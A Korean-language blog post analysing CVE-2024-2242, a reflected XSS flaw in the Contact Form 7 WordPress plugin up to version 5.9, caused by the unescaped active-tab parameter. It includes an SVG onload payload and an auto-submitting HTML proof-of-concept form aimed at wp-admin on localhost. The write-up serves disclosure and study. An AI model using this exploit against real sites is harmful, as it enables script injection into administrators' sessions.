Post

[CVE-2024-2242] 취약점 분석 보고서

Contact Form 7 플러그인 5.9 이하 버전에서 발생하는 Reflected XSS

개요

Contact Form 7 플러그인 5.9 이전 버전까지 모든 버전에서 active-tab 매개변수를 통한 Reflect XSS 취약점이 발생합니다.

분석

취약점은 contact-form 편집하는 곳에서 발생합니다. 글을 편집하고 저장을 누르면 active-tab 파라미터로 값이 전달됩니다. 만약 여기에 악성 스크립트가 삽입된다면 XSS 취약점이 발생합니다.

image.png

edit_contact-form.php

image.png

편집 기능이 있는 edit_contact-form.php 코드입니다. active-tab으로 전달되는 값이 echo 뒤에 $_GET 요청으로 입력값 검증 없이 바로 처리하고 있으므로 Reflected XSS 취약점이 발생하게 됩니다.

취약점 테스트

image.png

contact form 편집에서 글을 작성하고, 저장합니다.

image.png

active-tab 값을 따로 설정하지 않으면 ‘0’으로 설정됩니다. 이 부분에 ‘”><svg/onload=prompt(7);> 페이로드를 삽입하면 input 태그가 닫히면서 뒤에 악성 스크립트가 실행됩니다.

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<html>
  <body>
    <form action="http://localhost:5000/wp-admin/admin.php">
      <input type="hidden" name="page" value="wpcf7" />
      <input type="hidden" name="post" value="212" /> <!-- post id -->
      <input type="hidden" name="cftsearch_submit" value="1" />
      <input type="hidden" name="active&#45;tab" value="&apos;&quot;&gt;&lt;svg&#47;onload&#61;prompt&#40;7&#41;&#59;&gt;&#123;&#123;7&#42;7&#125;&#125;" /> <!-- insert attack payload into value property. HTML Entity>
      <label class="screen-reader-text" for="<?php echo esc_attr( $input_id ); ?>"><?php echo $text; ?>:</label>
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

reference: https://github.com/RandomRobbieBF/CVE-2024-2242

This post is licensed under CC BY 4.0 by the author.